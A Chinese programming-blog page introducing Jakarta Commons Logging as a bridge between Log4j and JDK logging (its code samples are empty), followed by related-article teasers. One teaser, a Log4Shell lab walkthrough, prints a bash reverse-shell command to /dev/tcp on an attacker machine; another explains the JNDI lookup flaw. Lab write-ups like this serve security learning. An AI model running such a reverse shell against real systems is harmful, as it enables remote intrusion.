Log4j and JCL

2024-04-27 10:48
文章标签 log4j jcl

本文主要是介绍Log4j and JCL,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 JCL是什么

      我们在进行日志记录的时候,经常采用Log4J或者是JDK1.4以后的内建日志工具,但是,什么是JCL呢,JCL是jakarta commons的日志工具,他是各种日志记录工具之间的桥梁,commons-logging帮助你在不重新编译程序的前提上实现日志工具的切换,比如把jdk内建日志工具切换到log4j的日志工具下;

 

JCL可以到http://jakarta.apache.org/commons/logging 站点进行下载;

 

 

如何使用JCL

    JCL主要包括两个重要的组件,org.apache.commons.loggging.LogFactory(一个具体的工厂类)和他返回的实例,这个实例实现了org.apache.commons.logging.Log接口,JCL配置是最少的,绝大多数情况下,你只需将commons-logging.jar包放在classpath下即可;LogFactory提供了出色的日志检测功能,他首先会在类路径下面寻找log4j.jar如果没有找到,则会寻找JDK1.4+版本;

 

在代码中,我们只需键入:

 

 

而当我们使用log4j的时候,则必须使用:

 

 

而不得不把log4j和代码进行了强耦合;

 

 

这篇关于Log4j and JCL的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/940303

相关文章

android两种日志获取log4j

android   log4j 加载日志使用方法; 先上图: 有两种方式: 1:直接使用架包 加载(两个都要使用); 架包:android-logging-log4j-1.0.3.jar 、log4j-1.2.15.jar  (说明:也可以使用架包:log4j-1.2.17.jar)  2:对架包输入日志的二次封装使用; 1:直接使用 log4j 日志框架获取日志信息: A:配置 日志 文

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

打通实时流处理log4j-flume-kafka-structured-streaming

大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 模拟产生log4j日志 jar包依赖 pom.xml 12345678910111213<dependency><groupId>log4j</groupId><artifactId>log4j</artifactId></dependency><depe

Spark Streaming整合log4j、Flume与Kafka的案例

点击上方蓝色字体,选择“设为星标” 回复”资源“获取更多资源 来源:作者TAI_SPARK,http://suo.im/5w7LF8 大数据技术与架构 点击右侧关注,大数据开发领域最强公众号! 暴走大数据 点击右侧关注,暴走大数据! 1.框架 2.log4j完成模拟日志输出 设置模拟日志格式,log4j.properties: log4j.rootLogger = INFO,stdo

日志框架log4j打印异常堆栈信息携带traceId,方便接口异常排查

一、异常堆栈无traceId 排查定位问题异常痛苦        在日常项目开发中,我们会自定义一个traceId方便,链路追踪。在log4j2.xml 我们可能是这样去配置日志打印格式。 <Console name="CONSOLE" target="SYSTEM_OUT"><PatternLayoutpattern="${APP_NAME} %-d{yyyy-MM-dd HH:mm:ss}

log4j 打印sql,按日期生成文件,生成文件位置

1、 log4j 打印sql 要把日志等级调成debug才会显示sql log4j.rootLogger=info,Console      Console   log4j.appender.Console=org.apache.log4j.ConsoleAppender   log4j.appender.Console.layout=org.apache.log4j.Patte

log4j:WARN No appenders could be found for logger解决方法

问题: log4j:WARN No appenders could be found for logger(org.springframework.web.context.ContextLoader). log4j:WARN Please initialize the log4j system properly.     未找到log4j,未初始化log4j。 解决方法: <!-- 以下

log4j漏洞原理以及复现

kali:192.168.222.165 本机:192.168.225.18 原理 Log4j为了输出日志时能输出任意位置的Java对象,引入了Lookup接口,这个Lookup接口可以看作是JNDI的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java的序列化或反序列化传输,从远程服务器上查找。 由于Lookup接口的原因,Log4j就暗含JNDI注入漏

【Spring】在springmvc中使用log4j日志功能

step 1maven的依赖配置step 2log4jxml配置文件step 3webxml配置step 4在程序中获取logger对象写日志 step 1、maven的依赖配置 <!-- Logging --><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.

log4j简单使用教程

核心要点:log4j是java的一个日志组件,主要负责日志打印功能 工具:idea 1.新建maven项目(非maven项目可以直接跳过) 2.在resources目录新建log4j.properties文件  向文件log4j.properties文件添加以下内容 log4j.rootLogger=INFO, stdout, logfile 打印到日志文件log4j.append